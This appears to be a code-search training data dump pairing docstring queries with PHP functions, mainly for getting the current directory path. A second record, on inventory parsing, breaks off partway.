[ "0.7091889", "0.7014377", "0.6962301", "0.69029546", "0.6848016", "0.6840045", "0.68362", "0.67796147", "0.6769268", "0.6762692", "0.67417616", "0.66876525", "0.66847706", "0.66654587", "0.6664714", "0.6663498", "0.6643639", "0.6643556", "0.66395307", "0.66395307", "0.66395307", "0.66395307", "0.6606435", "0.660498", "0.660498", "0.66038483", "0.65915984", "0.658713", "0.658713", "0.658713", "0.658713", "0.65707016", "0.65707016", "0.6569782", "0.6562451", "0.65454483", "0.65454483", "0.65454483", "0.65454483", "0.6533104", "0.6530565", "0.65209985", "0.6519349", "0.6490155", "0.6472823", "0.6461874", "0.64454424", "0.6425956", "0.64244705", "0.6382798", "0.63760483", "0.63696057", "0.63489085", "0.633842", "0.6327353", "0.6316146", "0.6307677", "0.62959987", "0.62946224", "0.62916386", "0.6271999", "0.6266982", "0.62646407", "0.62616235", "0.6244285", "0.62024796", "0.6198259", "0.61852366", "0.6178774", "0.6153291", "0.6151332", "0.614849", "0.61421585", "0.61281824", "0.612795", "0.6119048", "0.6116132", "0.6109539", "0.6098421", "0.60981727", "0.60966945", "0.6094662", "0.6085573", "0.6084165", "0.6075116", "0.6059892", "0.60420346", "0.60390925", "0.60321903", "0.6024058", "0.6022501", "0.6013777", "0.6013502", "0.60118115", "0.6011219", "0.6007074", "0.6004384", "0.59989965", "0.5996613", "0.5995274", "0.5991582" ]
0.0
-1
/////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////// Gets the path to the current directory Returns something along the lines of: /docs/path/to/ If path cannot be determined, returns an empty string
function current_dir() { if ( !empty($_SERVER['PHP_SELF']) || !empty($_SERVER['SCRIPT_NAME']) ) { $server_root = ""; if ( !empty($_SERVER['PHP_SELF']) ) { $script = $_SERVER['PHP_SELF']; } else { $script = $_SERVER['SCRIPT_NAME']; } $subDirList = explode("/", $script); array_pop($subDirList); $server_root = implode("/", $subDirList) . "/"; } else { $server_root = ""; } return $server_root; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getCurrentDirectory() {\n\t$path = dirname($_SERVER['PHP_SELF']);\n\t$position = strrpos($path,'/') + 1;\n\treturn substr($path,$position);\n}", "public function getCurrentPath()\n {\n return str_replace($this->getRootPath(), '', $this->basePath) ?: DIRECTORY_SEPARATOR;\n }", "function dirPath() { return (\"../\"); }", "function dirPath() {return (\"../../../../\"); }", "function dirPath () { return (\"../../\"); }", "public function getCurrentPath() {\n $url = $this->getSession()->getCurrentUrl();\n $parsed_url = parse_url($url);\n $path = trim($parsed_url['path'], '/');\n\n return $path;\n }", "public function getCurrentDirectory();", "public function getCurrentDirectory();", "abstract public function getCurrentPath();", "public function current_path()\n\t{\n\t\t$url = parse_url($this->connection()->get('url'));\n\n\t\treturn $url['path'].(isset($url['query']) ? '?'.$url['query'] : '');\n\t}", "public function getCurrentPath()\n {\n return $this->path;\n }", "public function getCurrentDirectory()\n {\n return $this->currentDirectory;\n }", "public function getCurrent()\n\t{\n\t\treturn $this->current_dir;\n\t}", "public function dir() {\n\t\treturn dirname($this->_path) . '/';\n\t}", "public static function getDocsDirectory()\n {\n $dir = BaseSystem::getDataDir('Help').'/Docs/';\n return $dir;\n\n }", "public function pwd()\n {\n if ($this->path === null) {\n $dir = $this->Folder->pwd();\n if (is_dir($dir)) {\n $this->path = $this->Folder->slashTerm($dir) . $this->name;\n }\n }\n\n return $this->path;\n }", "public function getPath() {\n\t\treturn $this->current_path;\n\t}", "public function pwd(): string\n\t{\n\t\treturn $this->currentDirectory;\n\t}", "public function getFilepath() {\n\t\treturn RuntimeDirectoryManager::getDocumentRoot().$this->filename;\n\t}", "public static function get_directory() : string {\r\n\t\treturn Core::get_app_path( self::$directory );\r\n\t}", "protected function getCurrentAbsolutePath() \n\t{\n\t\t$filename = self::$test_class_manifest->getItemPath(get_parent_class($this));\n\t\tif(!$filename) throw new LogicException(\"getItemPath returned null for \" . get_parent_class($this));\n\t\treturn dirname($filename);\n\t}", "protected function getCurrentAbsolutePath() {\n\t\treturn dirname(SS_ClassLoader::instance()->getManifest()->getItemPath(get_class($this)));\n\t}", "public static function getPath()\r\n {\r\n if ( ! self::$_path) {\r\n self::$_path = dirname(__FILE__);\r\n }\r\n return self::$_path;\r\n }", "static function getCurrentScriptDir(){\n \n return Strings::ditchLastPiece($_SERVER['SCRIPT_NAME']);\n \n }", "function getPathFromDocRoot()\n{\n $doc_root = $_SERVER['DOCUMENT_ROOT'];\n if (FILE_SEPARATOR != '/') {\n $doc_root = eregi_replace('/', FILE_SEPARATOR, $doc_root);\n }\n $doc_root_folders = explode(FILE_SEPARATOR, $doc_root);\n $cwd_folders = explode(FILE_SEPARATOR, getcwd());\n $folders_from_doc_root = array_diff($cwd_folders, $doc_root_folders);\n $path = implode(FILE_SEPARATOR, $folders_from_doc_root);\n //maybe we're in admin or scripts or so\n //echo($path.\"|\".strstr($path, 'admin').\"|\".utf8_substr( $path, 0, utf8_strpos( $path, \"admin\" ) ).\"|\");\n if (eregi('admin',$path) != false or $path == 'admin') {\n $path = substr($path, 0, strpos($path, \"admin\" ) ) ;\n }\n if (eregi('scripts',$path) != false or $path == 'scripts') {\n $path = substr($path, 0, strpos($path, \"scripts\" ) ) ;\n }\n if (eregi('plugins',$path)!= false or $path == 'plugins') {\n $path = substr($path, 0, strpos($path, \"plugins\" ) ) ;\n }\n if (eregi('user',$path) != false or $path == 'user') {\n $path = substr($path, 0, strpos($path, \"user\" ) ) ;\n }\n if ($path == \"\") {\n $path = FILE_SEPARATOR;\n }\n if (substr($path, 0, 1) != FILE_SEPARATOR) {\n $path = FILE_SEPARATOR.$path;\n }\n if (substr($path, strlen($path)-1, strlen($path)) != FILE_SEPARATOR) $path = $path.FILE_SEPARATOR;\n return $path;\n}", "protected function _getPath()\n {\n if (!empty($this->_path)) {\n return $this->_path;\n }\n\n $id = $this->_config['id'];\n $dir0 = $id % 10000;\n $dir1 = $dir0 % 100;\n $dir2 = $dir0 - $dir1 * 100;\n if ($dir2 < 0) {\n $dir2 = 0;\n }\n $path = 'apps/';\n\n switch ($this->_config['section']) {\n case 1 :\n $path .= 'scripteditor/' . $dir2 . '/' . $dir1 . '/';\n break;\n \tcase 2 :\n $path .= 'slave/' . $dir2 . '/' . $dir1 . '/';\n break;\n default :\n $path .= 'tmp/';\n break;\n }\n $this->_path = $path;\n return $this->_path;\n }", "protected function getFilesystemPath()\n {\n return dirname($this->path);\n }", "public function getcwd(): string;", "public function getRootDir(){\n\t\treturn str_replace(realpath($_SERVER['DOCUMENT_ROOT']), \"\", realpath(dirname(__DIR__ . \"/../core.php\")));\n\t}", "public function GetPath()\n\t{\n\t\tif (!empty($this->path))\n\t\t\treturn $this->path;\n\n\t\treturn '';\n\t}", "public function getBasePath()\n {\n if ($this->basePath === null) {\n $this->basePath = dirname(getcwd());\n }\n\n return $this->basePath;\n }", "public function getPath(): string\n {\n return $this->directory->getPath();\n }", "function get_parent_dir() {\n $path = $_SERVER['PHP_SELF'];\n $splitPath = explode('/', $path);\n return $splitPath[1];\n }", "public function getRootDir()\n {\n return $this->server['DOCUMENT_ROOT'];\n }", "function parcelcheckout_getRootPath()\n\t{\n\t\t$sRootPath = dirname(dirname(dirname(__FILE__)));\n\n\t\tif(strpos($sRootPath, '\\\\') !== false)\n\t\t{\n\t\t\t$sRootPath .= '\\\\';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$sRootPath .= '/';\n\t\t}\n\n\t\treturn $sRootPath;\n\t}", "function getParentDir()\n {\n $parent = $this->getParent();\n if (trim($parent) != '')\n return ucwords($parent) . '\\\\';\n return $parent;\n }", "function current_path()\n {\n\treturn str_replace(base_url(), '', current_url());\n }", "protected function get_default_root_path(): string {\n return dirname($this->nowqsPath, 4) . DIRECTORY_SEPARATOR;\n }", "public function getPath()\n {\n return $this->dirs[0];\n }", "public function getPath()\n {\n return $this->dirs[0];\n }", "private function getPath()\n\t{\n\t\treturn $this->_sys_path;\n\t}", "public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}", "public static function getFilePath()\n\t{\n\t\treturn __FILE__;\n\t}", "function curDirectory() {\n\t$current_dir_url = 'http';\n\tif ($_SERVER[\"HTTPS\"] == \"on\") {\n\t\t$pageURL .= \"s\";\n\t}\n\t\t$current_dir_url .= \"://\";\n\tif ($_SERVER[\"SERVER_PORT\"] != \"80\") {\n\t\t$current_dir_url .= $_SERVER[\"SERVER_NAME\"].\":\".$_SERVER[\"SERVER_PORT\"];\n\t} else {\n\t\t$current_dir_url .= $_SERVER[\"SERVER_NAME\"];\n\t}\n\t$current_dir_url .= dirname($_SERVER['PHP_SELF']);\n\treturn $current_dir_url;\n}", "public function getFilePath()\n {\n\n if (is_writable($_SERVER['DOCUMENT_ROOT'])) {\n return $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . $this->getFileName();\n }\n\n }", "function getAppPath() {\r\n\r\n $root = str_replace('\\\\', '/', $_SERVER['DOCUMENT_ROOT']);\r\n if (substr($root, -1) === '/') { // remove any trailing / which should not be there\r\n $root = substr($root, 0, -1);\r\n }\r\n $dir = str_replace('\\\\', '/', dirname(__FILE__));\r\n\r\n $path = str_replace($root, '', $dir) . '/';\r\n\r\n return $path;\r\n\r\n }", "public function getPath()\n {\n if (null === $this->reflected) {\n $this->reflected = new \\ReflectionObject($this);\n }\n\n return dirname($this->reflected->getFileName());\n }", "public function getDirectory()\n {\n /* get directory from filename */\n $directory = dirname($this->getFileName());\n /* remove current working directory */\n $directory = str_replace(getcwd(), '', $directory);\n /* replace Windows-style directory seperators */\n $directory = str_replace('\\\\', '/', $directory);\n /* remove leading '/' */\n if ($directory[0] === '/') {\n $directory = mb_substr($directory, 1);\n }\n return $directory;\n }", "public static function dirRoot()\n\t{\n\t\treturn defined('DIR_ROOT') ? DIR_ROOT : dirname(__DIR__);\n\t}", "public static function get_html_path()\n {\n $path = '';\n if (isset($_SERVER['DOCUMENT_ROOT']) && isset($_SERVER['SCRIPT_FILENAME'])) {\n $doc_root = $_SERVER['DOCUMENT_ROOT'];\n $doc_root_parts = explode('/', $doc_root);\n $script_file = $_SERVER['SCRIPT_FILENAME'];\n $script_file_parts = explode('/', $script_file);\n\n foreach ($script_file_parts as $key => $part) {\n if (!isset($doc_root_parts[$key])) {\n if ($part != 'index.php') { $path .= '/' . $part; }\n }\n }\n }\n else {\n $_SESSION['html_path'] = $path;\n $self = $_SERVER['PHP_SELF'];\n $self_arr = explode('/', $self);\n foreach ($self_arr as $item) {\n if (!empty($item) && $item != 'index.php') { $path .= \"/$item\"; }\n }\n if ($path == '/') { $path = ''; }\n }\n return $path;\n }", "protected function getPath () {\n\tglobal $Config;\n\treturn $Config->get('dir_root').'/'.$this->dir.'/'.$this->name;\n }", "public static function getDocumentRoot()\r\n\t{\r\n\t\tstatic $documentRoot = null;\r\n\t\tif ($documentRoot != null)\r\n\t\t\treturn $documentRoot;\r\n\r\n\t\t$context = Application::getInstance()->getContext();\r\n\t\tif ($context != null)\r\n\t\t{\r\n\t\t\t$server = $context->getServer();\r\n\t\t\tif ($server != null)\r\n\t\t\t\treturn $documentRoot = $server->getDocumentRoot();\r\n\t\t}\r\n\r\n\t\treturn rtrim($_SERVER[\"DOCUMENT_ROOT\"], \"\\\\/\");\r\n\t}", "public function root()\n {\n if ($this['environment']->has('SCRIPT_FILENAME') === false) {\n throw new \\RuntimeException(\n 'The \"`\"SCRIPT_FILENAME\" server variable could not be found.\n It is required by \"Workbench::root()\".'\n );\n }\n\n return dirname($this['environment']->get('SCRIPT_FILENAME'));\n }", "public static function get_html_path()\n {\n \t$path = '';\n \tif (isset($_SERVER['DOCUMENT_ROOT']) && isset($_SERVER['SCRIPT_FILENAME'])) {\n \t\t$doc_root = $_SERVER['DOCUMENT_ROOT'];\n \t\t$doc_root_parts = explode('/', $doc_root);\n \t\t$script_file = $_SERVER['SCRIPT_FILENAME'];\n \t\t$script_file_parts = explode('/', $script_file);\n\n \t\tforeach ($script_file_parts as $key => $part) {\n \t\t\tif (!isset($doc_root_parts[$key])) {\n \t\t\t\tif ($part != 'index.php') { $path .= '/' . $part; }\n \t\t\t}\n \t\t}\n \t}\n \telse {\n \t\t$_SESSION['html_path'] = $path;\n \t\t$self = $_SERVER['PHP_SELF'];\n \t\t$self_arr = explode('/', $self);\n \t\tforeach ($self_arr as $item) {\n \t\t\tif (!empty($item) && $item != 'index.php') { $path .= \"/$item\"; }\n \t\t}\n \t\tif ($path == '/') { $path = ''; }\n \t}\n \treturn $path;\n }", "public function getPath()\r\n {\r\n return pathinfo($this->filename, PATHINFO_DIRNAME);\r\n }", "public function getPath(): string\n {\n $root = null;\n $currentDirectory = __DIR__;\n\n do {\n $currentDirectory = dirname($currentDirectory);\n $config = $currentDirectory . '/.refresh-database.yml';\n\n if (file_exists($config)) {\n $root = $currentDirectory;\n }\n } while (is_null($root) && $currentDirectory != '/');\n\n return $config;\n }", "public function getPath()\n {\n return $this->directory->getRealPath();\n }", "protected function getProjectRootPath()\n {\n return dirname($this->getTestsRootPath());\n }", "public function get_base_dir()\r\n\t\t{\r\n\t\t\treturn str_replace( \"/\", DIRECTORY_SEPARATOR, __DIR__ . \"/../../\" . self::HOME_DIR );\r\n\t\t}", "private static function get_root_path(): ?string {\n\t\t// Try up to 3 levels\n\t\t$wp_dir = '/' . trim( ABSPATH, '/' );\n\t\t$try_dirs = [\n\t\t\t$wp_dir,\n\t\t\tdirname( $wp_dir ),\n\t\t\tdirname( $wp_dir, 2 ),\n\t\t];\n\t\tforeach ( $try_dirs as $dir ) {\n\t\t\t$git_dir = \"{$dir}/.git\";\n\t\t\tif ( file_exists( $git_dir ) && is_dir( $git_dir ) ) {\n\t\t\t\treturn $dir;\n\t\t\t}\n\t\t\t$dir = null;\n\t\t}\n\n\t\treturn null;\n\t}", "public function pwd(): string\n {\n\n if (is_null($this->_pwd) || empty($this->_pwd))\n {\n $pwd = $this->_realpath(\".\");\n $this->_pwd = explode(\"/\", $pwd);\n }\n if (count($this->_pwd) > 1)\n {\n return implode(\"/\", $this->_pwd);\n } else\n {\n return \"/\";\n }\n }", "private function getProjectDir()\n {\n return $this->projectDir ?: getcwd();\n }", "protected function getBaseDir()\n {\n $ref = new \\ReflectionObject($this);\n\n return realpath(dirname(dirname($ref->getFileName())));\n }", "public function getFilepath()\n {\n $filepath = $this->_path['dirname'].DIRECTORY_SEPARATOR.$this->_path['filename'];\n\n if ($this->_path['extension'])\n $filepath .= '.'.$this->_path['extension'];\n\n return $filepath;\n }", "public function getDirectory()\n {\n return $this->_path['dirname'];\n }", "public function getFileRootPath(): string\n {\n return str_replace(\n ':',\n '.',\n $this->getDatasetSubmission()->getDataset()->getUdi()\n ) . DIRECTORY_SEPARATOR;\n }", "function getPath() {\n $ruta = realpath(dirname(__FILE__));\n if ( strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' )\n $separator = '\\\\';\n else\n $separator = '/';\n $aRuta = explode($separator,$ruta);\n $ruta = '';\n foreach($aRuta as $index => $value)\n if ( $index < count($aRuta) - 1 ) $ruta .= $value.$separator;\n return $ruta;\n}", "public static function getBasepath()\n {\n if (! self::$basePath) {\n $candidate = getcwd() ?: dirname(dirname(dirname(dirname(__FILE__))));\n self::$basePath = rtrim($candidate, DIRECTORY_SEPARATOR);\n }\n\n return self::$basePath;\n }", "public function getPath()\n {\n\n if (empty($this->_path))\n return '';\n\n return $this->_path;\n }", "public static function getBasepath()\n {\n if (!self::$basePath) {\n $candidate = getcwd() ?: dirname(dirname(dirname(dirname(__FILE__))));\n self::$basePath = rtrim($candidate, DIRECTORY_SEPARATOR);\n }\n\n return self::$basePath;\n }", "public static function getBasepath()\n {\n if (!self::$basePath) {\n $candidate = getcwd() ?: dirname(dirname(dirname(dirname(__FILE__))));\n self::$basePath = rtrim($candidate, DIRECTORY_SEPARATOR);\n }\n\n return self::$basePath;\n }", "public static function getBasePath()\n {\n $base_path = substr(trim(\\ROOT, '/'), strlen(trim($_SERVER['DOCUMENT_ROOT'], '/')));\n if (DS !== '/') {\n $base_path = str_replace(DS, '/', $base_path);\n }\n return $base_path;\n }", "private function buildRootPath()\n {\n // In Windows script path uses backslash, convert it:\n $scriptPath = str_replace('\\\\', '/', $_SERVER['PHP_SELF']);\n $rootPath = str_replace(' ', '%20', rtrim(substr($scriptPath, 0, strpos($scriptPath, 'index.php')), '/'));\n\n return $rootPath;\n }", "public static function get_directory(): string {\n return Simply_Static\\Options::instance()->get('local_dir') ?: '';\n }", "public function path()\n\t{\n\t\treturn $this->CLI->stringQuery($this->SqueezePlyrID.\" path ?\");\n\t}", "function getWebsiteRootPath()\n {\n // Check that the absolute path to the current directory is accessible\n // (some webhosts denies access this way)\n if ( file_exists (FCPATH) ) {\n return FCPATH;\n } else {\n // Fake relative path by using subdirectory\n return 'js/../';\n }\n }", "public function getBaseDirectory(): string\n {\n if ( ! $this->baseDirectory) {\n $this->baseDirectory = dirname($this->getPath());\n }\n\n return $this->baseDirectory;\n }", "public function getPath()\n {\n return str_replace(\n ['/', '\\\\'],\n Storage::GetSeparator(),\n Storage::GetPath() . '/' . $this->dirname . '/' . $this->basename\n );\n }", "private static function getCurrentFolder() : string {\n return self::getPath() . '/' . date('Y-M');\n }", "public function getHelpRootDir ()\n {\n return $this->baseDocDir;\n }", "private function getPathToRootDir()\n {\n return '%kernel.project_dir%';\n }", "public function getTemplateRootPath()\r\n {\r\n return $this->getDirectoryName($this->templateRootPath);\r\n }", "protected function getRootDir()\n {\n return $this->appConfig->getRootDir();\n }", "function base_path() {\n return (new Server)->get('DOCUMENT_ROOT');\n }", "public function say_dir()\n\t{\n return $this->controller ? dirname($this->controller) : false;\n }", "public function get_current_path() {\n $current_path = \\Drupal::service('path.current')->getPath();\n $result = \\Drupal::service('path_alias.manager')->getAliasByPath($current_path);\n\n return $result;\n }", "public static function getRoot(): string {\n if (! self::$_root) {\n self::$_root = dirname(dirname(dirname(__FILE__)));\n }\n \n return self::$_root;\n }", "public function getBasePath()\n {\n return dirname($this->file);\n }", "protected function getPackageRootPath(): string\n {\n return getcwd() . '/';\n }", "public function getProjectDir(): string\n {\n return dirname(__DIR__);\n }", "protected function determinedFullPath()\n {\n // TODO: See why windows cannot use the the full path\n /*return dirname((new ReflectionClass($this))->getFileName()) .\n DIRECTORY_SEPARATOR .\n '..' .\n DIRECTORY_SEPARATOR .*/\n return $this->getWebRoot() .\n DIRECTORY_SEPARATOR .\n $this->path;\n }", "public function currentWorkingDirectory()\n {\n return getcwd();\n }", "public function getRootPath() {\r\n\t\treturn $this->getFramework()->getPath(Core::PATH_ROOT);\r\n\t}", "public function getDocumentRoot()\n {\n $documentRoot = '';\n $normalized = $this->getNormalized();\n if (empty($normalized['web']['locations'])) {\n return $documentRoot;\n }\n foreach ($this->getNormalized()['web']['locations'] as $path => $location) {\n if (isset($location['root'])) {\n $documentRoot = $location['root'];\n }\n if ($path === '/') {\n break;\n }\n }\n\n return ltrim($documentRoot, '/');\n }", "protected function getBasePath()\n {\n return getcwd();\n }", "public function getDefaultPartialRootPath()\r\n {\r\n return $this->getDirectoryName($this->defaultPartialRootPath);\r\n }", "function base_path()\n {\n return dirname(__DIR__);\n }", "public function path(): string\n {\n $path = $this->uri()->getPath();\n\n return match (true) {\n empty($path) => '/',\n $path[0] !== '/' => '/' . $path,\n default => $path\n };\n }", "function getFileDirectory() {\n\t\treturn dirname($this->getFilename());\n\t}", "private function _getSourceFileSystemPath()\n\t{\n\t\treturn rtrim($this->getSettings()->path, '/').'/';\n\t}" ]
[ "0.75632566", "0.7370972", "0.72592103", "0.7164294", "0.71466655", "0.7146432", "0.7078587", "0.7078587", "0.7068135", "0.705521", "0.70281553", "0.7003945", "0.69863063", "0.6917466", "0.6886731", "0.68326193", "0.6824841", "0.6788674", "0.6775619", "0.6763439", "0.67575085", "0.67554116", "0.6713495", "0.6705076", "0.66910994", "0.66878366", "0.66615033", "0.6652867", "0.6632989", "0.66324663", "0.6632251", "0.66232896", "0.6621714", "0.66181785", "0.660233", "0.656695", "0.6565222", "0.6559352", "0.6492063", "0.6492063", "0.6491815", "0.64899904", "0.64899904", "0.64829296", "0.6474844", "0.6456168", "0.6436983", "0.64346105", "0.64282733", "0.6424296", "0.64202154", "0.6419072", "0.64183486", "0.6415887", "0.6404178", "0.6401564", "0.6400288", "0.6396448", "0.63912886", "0.6377742", "0.63718265", "0.63565725", "0.63562286", "0.6353907", "0.6353062", "0.6351248", "0.63484406", "0.63407135", "0.63401085", "0.63380635", "0.63380635", "0.6334536", "0.63296527", "0.6323568", "0.6307525", "0.63032645", "0.6299932", "0.62966704", "0.62935805", "0.6293447", "0.6289955", "0.62864274", "0.6283766", "0.6270769", "0.6267127", "0.6265063", "0.62618774", "0.6250692", "0.6232299", "0.6231558", "0.623067", "0.6228952", "0.6227718", "0.62243444", "0.6222794", "0.621288", "0.62089497", "0.6198248", "0.61923504", "0.6189634" ]
0.66746557
26
Parse the shop's items into inventory
public function inventory() { $list = array(); if (count($this->items) > 0) { foreach ($this->items as $item) { $list[] = array( 'id' => $item->id, 'name' => $item->name(), 'price' => $item->parameter, 'img' => $item->img(), ); } } return $list; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function populateItems()\n\t{\n\t\tif ( empty( $this->ingredients ) )\n\t\t\treturn;\n\t\t\n\t\tforeach( $this->ingredients as $ingredient )\n\t\t{\n\t\t\tif ( !( $item = Fridge::getInstance()->getItem( $ingredient[Item::FIELD_NAME] ) ) || $ingredient[Item::FIELD_AMOUNT] > $item->getAmount() )\n\t\t\t{\n\t\t\t\t$this->valid = false;\n\t\t\t\t$this->items = array();\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\n\t\t\t$useBy = $item->getUseBy();\n\t\t\t\n\t\t\t$this->valid = ( $useBy >= REQUEST_TIME )?: false;\n\t\t\t$this->minOutOfDate = ( empty( $this->minOutOfDate ) || $useBy <= $this->minOutOfDate )? $useBy : $this->minOutOfDate;\n\t\t\t\n\t\t\t$this->items[$item->getName()] = $item;\n\t\t}\n\t}", "public function parse_inventory_from_web() {\n require_once BASEPATH . 'phpQuery/phpQuery.php';\n log_message('debug', 'START parse_inventory_from_web');\n\n $dayAgo = date(DOCTRINE_DATE_FORMAT, (time() - (3600 * 12)));\n $settings = ManagerHolder::get('StoreInventoryParserSetting')->getAllWhere(array('last_parse_at<' => $dayAgo, 'url<>' => ''), 'e.*,store.*', 200);\n\n foreach ($settings as $setting) {\n $webPage = $this->getWebPage($setting['url']);\n ManagerHolder::get('StoreInventoryParserSetting')->updateById($setting['id'], 'last_http_code', $webPage['header']['http_code']);\n\n $markup = $webPage['result'];\n\n if ($setting['store']['code'] == 'Magbaby') {\n if (strpos($markup, '<span class=\"b-product__state b-product__state_type_available\">В наличии</span>') !== FALSE) {\n $qty = 10;\n } else {\n $qty = 0;\n }\n if (!empty($setting['product_group_id'])) {\n $productGroup = ManagerHolder::get('ParameterGroup')->getById($setting['product_group_id'], 'bar_code');\n $barCode = $productGroup['bar_code'];\n } else {\n $product = ManagerHolder::get('Product')->getById($setting['product_id'], 'bar_code');\n $barCode = $product['bar_code'];\n }\n\n $where = array('product_id' => $setting['product_id'], 'bar_code' => $barCode, 'store_id' => $setting['store_id']);\n $exists = ManagerHolder::get('StoreInventory')->existsWhere($where);\n $entity = array();\n $entity['qty'] = $qty;\n if (!empty($setting['product_group_id'])) {\n $entity['product_group_id'] = $productGroup['id'];\n }\n $entity['update_by_admin_id'] = '';\n $entity['update_source'] = 'web';\n $entity['updated_at'] = date(DOCTRINE_DATE_FORMAT);\n if ($exists) {\n ManagerHolder::get('StoreInventory')->updateAllWhere($where, $entity);\n } else {\n $entity = array_merge($entity, $where);\n ManagerHolder::get('StoreInventory')->insert($entity);\n }\n\n ManagerHolder::get('StoreInventoryParserSetting')->updateById($setting['id'], 'last_parse_at', date(DOCTRINE_DATE_FORMAT));\n }\n\n if ($setting['store']['code'] == 'i-love-mum') {\n $markup = file_get_contents($setting['url']);\n\n $params = array();\n if (strpos($markup, '<li>Доступность: На складе</li>') !== FALSE) {\n @phpQuery::newDocumentHTML($markup);\n\n foreach(pq('h3:contains(Доступные опции)')->next('div')->find('div:first > div') as $item) {\n // print pq($item)->html();\n // print \"\\n\";\n\n $param = pq($item)->find('label')->text();\n $param = trim($param);\n $param = ManagerHolder::get('ParameterValue')->getOneWhere(array('name' => $param), 'e.*');\n\n $value = pq($item)->find('label')->attr('title');\n $value = trim($value);\n if ($value == 'нет в наличии') {\n $qty = 0;\n } else {\n preg_match(\"/в наличии ([0-9]*) шт./\", $value, $mch);\n $qty = $mch[1];\n }\n\n $params[$param['id']] = $qty;\n }\n } else {\n $productGroups = ManagerHolder::get('ParameterGroup')->getAllWhere(array('product_id' => $setting['product_id']), 'main_parameter_value_id');\n foreach ($productGroups as $pg) {\n $params[$pg['main_parameter_value_id']] = 0;\n }\n }\n\n ManagerHolder::get('StoreInventory')->updateAllWhere(array('product_id' => $setting['product_id'], 'store_id' => $setting['store_id']), array('qty' => 0));\n foreach ($params as $paramId => $qty) {\n $productGroup = ManagerHolder::get('ParameterGroup')->getOneWhere(array('product_id' => $setting['product_id'], 'main_parameter_value_id' => $paramId), 'bar_code');\n if (!$productGroup) {\n continue;\n }\n\n $where = array('product_id' => $setting['product_id'], 'bar_code' => $productGroup['bar_code'], 'store_id' => $setting['store_id']);\n $exists = ManagerHolder::get('StoreInventory')->existsWhere($where);\n $entity = array();\n $entity['qty'] = $qty;\n $entity['product_group_id'] = $productGroup['id'];\n $entity['update_by_admin_id'] = '';\n $entity['update_source'] = 'web';\n $entity['updated_at'] = date(DOCTRINE_DATE_FORMAT);\n if ($exists) {\n ManagerHolder::get('StoreInventory')->updateAllWhere($where, $entity);\n } else {\n $entity = array_merge($entity, $where);\n ManagerHolder::get('StoreInventory')->insert($entity);\n }\n\n ManagerHolder::get('StoreInventoryParserSetting')->updateById($setting['id'], 'last_parse_at', date(DOCTRINE_DATE_FORMAT));\n }\n }\n sleep(rand(1,3));\n }\n\n ManagerHolder::get('StoreInventory')->updateProductStatuses();\n log_message('debug', 'FINISH parse_inventory_from_web');\n }", "public function refactorBasedonItems()\n {\n foreach ($this->quote->cabinets AS $cabinet)\n {\n if ($cabinet->wood_xml)\n {\n $woods = self::returnWoodArray($cabinet);\n foreach ($woods AS $wood)\n {\n $this->cabItems += $wood['qty'];\n $this->instItems += $wood['qty'];\n }\n }\n }\n\n /*\n if ($this->cabItems < 30)\n {\n $this->cabItems = 30;\n }\n\n if ($this->instItems < 30 && $this->quote->type != 'Cabinet Small Job')\n {\n $this->instItems = 30;\n }\n\n\n if ($this->instItems > 35 && $this->instItems < 40)\n {\n $this->instItems = 40;\n }\n\n // Start Staging Price Blocks.\n if ($this->cabItems > 30 && $this->cabItems < 40)\n {\n $this->cabItems = 40;\n }\n */\n\n // For Designer\n if ($this->quote->type == 'Full Kitchen' || $this->quote->type == 'Cabinet and Install')\n {\n if ($this->cabItems <= 35)\n {\n $this->forDesigner = $this->getSetting('dL35');\n }\n else\n {\n if ($this->cabItems > 35 && $this->cabItems <= 55)\n {\n $this->forDesigner = $this->getSetting('dG35L55');\n }\n else\n {\n if ($this->cabItems > 55 && $this->cabItems <= 65)\n {\n $this->forDesigner = $this->getSetting('dG55L65');\n }\n else\n {\n if ($this->cabItems > 65 && $this->cabItems <= 75)\n {\n $this->forDesigner = $this->getSetting('dG65L75');\n }\n else\n {\n if ($this->cabItems > 75 && $this->cabItems <= 85)\n {\n $this->forDesigner = $this->getSetting('dG75L85');\n }\n else\n {\n if ($this->cabItems > 85 && $this->cabItems <= 94)\n {\n $this->forDesigner = $this->getSetting('dG85L94');\n }\n else\n {\n if ($this->cabItems > 94 && $this->cabItems <= 110)\n {\n $this->forDesigner = $this->getSetting('dG94L110');\n }\n else\n {\n if ($this->cabItems > 110)\n {\n $this->forDesigner = $this->getSetting('dG110');\n }\n }\n }\n }\n }\n }\n }\n }\n\n }\n else\n {\n if ($this->quote->type == 'Cabinet Small Job' || $this->quote->type == 'Builder')\n {\n $this->forDesigner = 250;\n }\n }\n\n // ----------------------- Quote Type Specific values\n\n // For Frugal + on Quote and remove plumber and electrician rates.\n if ($this->quote->type == 'Cabinet Only')\n {\n foreach ($this->quote->cabinets AS $cabinet)\n {\n if (!$cabinet->cabinet || !$cabinet->cabinet->vendor)\n {\n echo \\BS::alert(\"danger\", \"Unable To Determine Cabinets\",\n \"Cabinet type has not been selected! Unable to figure multiplier.\");\n return;\n }\n $add = ($cabinet->price * $cabinet->cabinet->vendor->multiplier) * .40;\n $this->forFrugal += $add; // Frugal gets 40% of the cabprice\n $this->setDebug(\"40% of {$cabinet->cabinet->frugal_name} to Frugal\", $add);\n $amt = ($cabinet->measure) ? 500 : 250;\n $this->forDesigner += $amt;\n $this->setDebug(\"Field Measure for Designer (Y=500/N=250)\", $amt);\n $this->forFrugal += 250; // for cabinet buildup.\n $this->setDebug(\"Frugal got $250 for Buildup\", 250);\n switch ($cabinet->location)\n {\n case 'North':\n $this->forFrugal += 300;\n $this->setDebug(\"Delivery North\", 300);\n break;\n case 'South':\n $this->forFrugal += 200;\n $this->setDebug(\"Delivery South\", 200);\n break;\n default:\n $this->forFrugal += 500;\n $this->setDebug(\"Further than 50m\", 500);\n break;\n }\n } // fe\n }\n else\n {\n if ($this->quote->type == 'Granite Only')\n {\n $this->forInstaller = 0;\n $this->forPlumber = 350;\n $this->forElectrician = 0;\n //$this->appElectrician = 0 ;\n //$this->forDesigner = 0;\n }\n else\n {\n if ($this->quote->type == \"Cabinet and Install\" || 